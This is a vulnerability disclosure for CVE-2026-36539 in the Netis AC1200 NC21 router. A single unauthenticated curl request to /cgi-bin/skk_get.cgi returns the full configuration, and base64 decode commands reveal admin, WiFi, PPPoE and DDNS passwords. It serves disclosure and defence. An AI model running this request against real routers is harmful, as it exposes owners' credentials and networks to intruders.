# CVE-2026-36539 — Netis AC1200 Router NC21: Unauthenticated Information Disclosure
---

## Description

Netis AC1200 Router NC21 running firmware V4.0.1.4296 exposes a CGI endpoint
`/cgi-bin/skk_get.cgi` that returns the **entire router configuration** as a
JSON response with **no authentication required**. Any attacker on the LAN can
send a single HTTP GET request and instantly retrieve administrator credentials,
WiFi passwords, PPPoE credentials, DDNS credentials, and a full map of all
connected devices — all encoded in base64, which is trivially reversible.

The vendor (Netis Systems) was contacted but did not respond. No patch has been
released as of the publication date.

---

## Affected Component
/cgi-bin/skk_get.cgi
---

## Proof of Concept

### Step 1 — Send the Request

No authentication, no token, no headers required. A single curl command is
enough:

```bash
curl -s http://192.168.1.1/cgi-bin/skk_get.cgi
```

Or in a browser, simply navigate to:
http://192.168.1.1/cgi-bin/skk_get.cgi
### Step 2 — Observe the Full JSON Dump

The endpoint returns the entire router configuration. Below is a trimmed
excerpt of the actual response from a real device, demonstrating the scope
of the leak:

```json
{
  "version": "NC21-V4.0.1.4296",
  "lanIpAddr": "192.168.1.1",
  "username": "",
  "password": "AAAAA",

  "wan": [{
    "pppUsername": "BBBBB",
    "pppPassword": "CCCCC"
  }],

  "wlan": [{
    "ssid": "DDDDD",
    "wpaPsk": "EEEEE"
  }],

  "ddnsUsername": "FFFFF",
  "ddnsPassword": "GGGGG",
  "ddnsDomainName": "HHHHH",

  "dhcpList": [ ... ],
  "arpList":  [ ... ],
  "wlanInfo": [ ... ]
}
```

### Step 3 — Decode the Base64 Values

All sensitive values are encoded in base64, which is **not encryption** — it
is trivially reversible:

```bash
echo "AAAAA" | base64 -d   # Admin password
echo "CCCCC"     | base64 -d   # PPPoE password
echo "EEEEE" | base64 -d   # WiFi password
```

### Step 4 — Connected Devices Also Exposed

The response includes a full map of every device on the network:

```json
"dhcpList": [
  { "ip": "192.168.1.101", "mac": "...", "host": "mint" },
  { "ip": "192.168.1.102", "mac": "...", "host": "Redmi-12" },
  { "ip": "192.168.1.103", "mac": "...", "host": "kali" },
  { "ip": "192.168.1.104", "mac": "...", "host": "Redmi-Note-12" },
  { "ip": "192.168.1.105", "mac": "...", "host": "OnePlus-Nord-N30-SE-5G" },
  ...
]
```

---

## Full List of Exposed Information

- ✅ **Admin password** (base64 encoded)
- ✅ **All WiFi SSIDs and passwords** (base64 encoded)
- ✅ **PPPoE/ISP credentials** — username and password
- ✅ **DDNS credentials** — domain, email, password
- ✅ **All connected device names, IPs, and MAC addresses**
- ✅ **WAN IP address and gateway**
- ✅ **LAN subnet configuration**
- ✅ **DHCP reservation list with device labels**
- ✅ **ARP table**
- ✅ **Full routing table**
- ✅ **Router serial number**
- ✅ **Firmware version**
- ✅ **Device uptime, CPU and memory usage**

---

## Disclosure Timeline

- 23 Feb 2026: Discovery of the vulnerabilities.
- 24 Feb 2026: Try to contact vendor Netis.com. No response.
- 27 Feb 2026: Issued requests for CVE assignment to MITRE (CVE Request 1999260).
- 06 May 2026: CVE request accepted (CVE-2026-36538, CVE-2026-36539 and CVE-2026-36540).
- 08 May 2026: Published vulnerability information and shared evidence with CVE MITRE.

---

## Discoverer

**sir3ns** — https://github.com/sir3ns

> This vulnerability was disclosed responsibly. The vendor was contacted
> prior to publication and did not respond within a reasonable timeframe.